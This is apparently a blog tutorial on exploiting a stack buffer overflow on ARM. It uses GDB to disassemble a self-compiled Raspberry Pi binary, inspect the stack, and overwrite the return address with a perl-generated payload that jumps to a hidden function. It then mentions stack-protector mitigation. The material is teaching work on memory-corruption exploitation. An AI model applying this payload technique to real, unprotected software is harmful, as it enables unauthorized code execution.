Contents

Buffer overflow on ARM architecture

Prerequisites

  • A RaspberryPi and a distro. For this tutorial, I had an up-to-date Raspbian Stretch Lite with LXDE.
  • GCC and GDB.

ARM registers and stack

TODO

An example of buffer overflow

Initial state

  • We have a binary without its source code but compiled with debug information.
  • We know how to use it: ./prog2 PASS where PASS is a 4-character string.
  • We would like to know if there’s interesting stuff or even dead code in it.

Playground

Run GDB:

1
gdb prog2

What we can disassemble with GDB:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
(gdb) disassemble
/usr/include/arm-linux-gnueabihf/bits/sys_errlist.h  __gmon_start__                                       frame_dummy
/usr/include/arm-linux-gnueabihf/bits/types.h        __gmon_start__@plt                                   int
/usr/include/libio.h                                 __init_array_end                                     long int
/usr/include/stdio.h                                 __init_array_start                                   long long int
/usr/lib/gcc/arm-linux-gnueabihf/6/include/stddef.h  __libc_csu_fini                                      long long unsigned int
_DYNAMIC                                             __libc_csu_init                                      long unsigned int
_GLOBAL_OFFSET_TABLE_                                __libc_start_main                                    main
_IO_2_1_stderr_                                      __libc_start_main@plt                                prog2.c
_IO_2_1_stdin_                                       __off64_t                                            puts
_IO_2_1_stdout_                                      __off_t                                              puts@plt
_IO_FILE                                             __quad_t                                             register_tm_clones
_IO_lock_t                                           _bss_end__                                           short int
_IO_marker                                           _edata                                               short unsigned int
_IO_stdin_used                                       _end                                                 signed char
__FRAME_END__                                        _fini                                                size_t
__JCR_END__                                          _init                                                sizetype
__JCR_LIST__                                         _start                                               stderr
__TMC_END__                                          abort                                                stdin
__bss_end__                                          abort@plt                                            stdout
__bss_start                                          call_weak_fn                                         strcpy
__bss_start__                                        char                                                 strcpy@plt
__data_start                                         completed                                            sys_errlist
__do_global_dtors_aux                                data_start                                           sys_nerr
__do_global_dtors_aux_fini_array_entry               deregister_tm_clones                                 unsigned char
__dso_handle                                         dont_touch_this                                      unsigned int
__end__                                              exit
__frame_dummy_init_array_entry                       exit@plt

Lots of stuff there… We can find at least two interesting:

  • main
  • dont_touch_this. Yes, I compiled the code myself for this tutorial. Of course, you should not name critical code like this!

Let’s disassemble the main function

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
(gdb) disassemble main
Dump of assembler code for function main:
   0x000104b8 <+0>:     push    {r11, lr}
   0x000104bc <+4>:     add     r11, sp, #4
   0x000104c0 <+8>:     sub     sp, sp, #16
   0x000104c4 <+12>:    str     r0, [r11, #-16]
   0x000104c8 <+16>:    str     r1, [r11, #-20] ; 0xffffffec
   0x000104cc <+20>:    ldr     r3, [r11, #-20] ; 0xffffffec
   0x000104d0 <+24>:    add     r3, r3, #4
   0x000104d4 <+28>:    ldr     r2, [r3]
   0x000104d8 <+32>:    sub     r3, r11, #8
   0x000104dc <+36>:    mov     r1, r2
   0x000104e0 <+40>:    mov     r0, r3
   0x000104e4 <+44>:    bl      0x1032c <strcpy@plt>
   0x000104e8 <+48>:    mov     r3, #0
   0x000104ec <+52>:    mov     r0, r3
   0x000104f0 <+56>:    sub     sp, r11, #4
   0x000104f4 <+60>:    pop     {r11, pc}
End of assembler dump.

If we disassemble dont_touch_this, we can get the entry point of this function (address 0x0001049c):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
(gdb) disassemble dont_touch_this
Dump of assembler code for function dont_touch_this:
   0x0001049c <+0>:     push    {r11, lr}
   0x000104a0 <+4>:     add     r11, sp, #4
   0x000104a4 <+8>:     ldr     r0, [pc, #8]    ; 0x104b4 <dont_touch_this+24>
   0x000104a8 <+12>:    bl      0x10338 <puts@plt>
   0x000104ac <+16>:    mov     r0, #0
   0x000104b0 <+20>:    bl      0x1035c <exit@plt>
   0x000104b4 <+24>:    andeq   r0, r1, r8, ror #10
End of assembler dump.

Putting a breakpoint right after the strcpy:

1
2
(gdb) break *0x000104e8
Breakpoint 1 at 0x104e8: file prog2.c, line 14.

Running the program with valid input and checking registers and stack values:

1
2
3
4
(gdb) run AAAA
Starting program: /home/pi/Documents/tutorial/prog2 AAAA
Breakpoint 1, main (argc=2, argv=0x7efff684) at prog2.c:14
14          return 0;
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
(gdb) info registers
r0             0x7efff524       2130703652
r1             0x7efff7d7       2130704343
r2             0x0      0
r3             0x9      9
r4             0x104f8  66808
r5             0x0      0
r6             0x10374  66420
r7             0x0      0
r8             0x0      0
r9             0x0      0
r10            0x76fff000       1996484608
r11            0x7efff52c       2130703660
r12            0x7efff524       2130703652
sp             0x7efff518       0x7efff518
lr             0x104e8  66792
pc             0x104e8  0x104e8 <main+48>
cpsr           0x20000010       536870928
1
2
3
4
5
(gdb) x/16x $sp
0x7efff518:     0x7efff684      0x00000002      0x00000000      0x41414141
0x7efff528:     0x00000000      0x76e80678      0x76fa5000      0x7efff684
0x7efff538:     0x00000002      0x000104b8      0x76ffecf0      0x7efff5d0
0x7efff548:     0xf35a2f10      0xfb4ddc14      0x000104f8      0x00000000
  • In the stack, we can see our AAAA as 0x41414141 (ASCII codes, little-endian).
  • 0x76e80678 is the return address.

Same thing with longer input:

1
2
(gdb) run ABCDABCD
Starting program: /home/pi/Documents/tutorial/prog2 ABCDABCD
1
2
3
4
5
(gdb) x/16x $sp
0x7efff518:     0x7efff684      0x00000002      0x00000000      0x44434241
0x7efff528:     0x44434241      0x76e80600      0x76fa5000      0x7efff684
0x7efff538:     0x00000002      0x000104b8      0x76ffecf0      0x7efff5d0
0x7efff548:     0xc9cf5894      0xc1d8ab90      0x000104f8      0x00000000
  • As expected, we find the 0x44434241 twice (corresponds to DCBA).
1
2
3
4
5
6
7
(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x76e80600 in __libc_start_main (main=0x7efff684, argc=1996115968, argv=0x76e80600 <__libc_start_main+156>, init=0x104f8 <__libc_csu_init>,
    fini=0x10558 <__libc_csu_fini>, rtld_fini=0x76fdf9b8 <_dl_fini>, stack_end=0x7efff684) at libc-start.c:247
247     libc-start.c: No such file or directory.

If we continue the program execution, we see a segfault while the return address is 0x76e80600.. There’s already a buffer overflow here. However, it would be useful to redirect it to the dont_touch_this method to see what’s in there.

1
2
pi@raspberrypi:~/Documents/tutorial $ ./prog2 $(perl -e 'print "ABCDABCD\x9c\x04\x01";')
The master key is 0xDEADBEEF

YES! We entered the dead code and found a master key 😈

  • ABCDABCD to fill the stack with some bytes (it could be anything).
  • The next 3 bytes are the entry point of dont_touch_this in little endian (see GDB output).
  • I was lucky because this binary was compiled without stack protection. It seems a bit crazy but, on a default Raspbian distro, the fstack-protector flag is not enabled…

If I tried my buffer overflow attack when the binary has been compiled with the stack protector, I would get the following message:

1
2
*** stack smashing detected ***: ./prog2 terminated
Aborted__

References

https://www.merckedsecurity.com/blog/smashing-the-arm-stack-part-1

http://billyellis.net/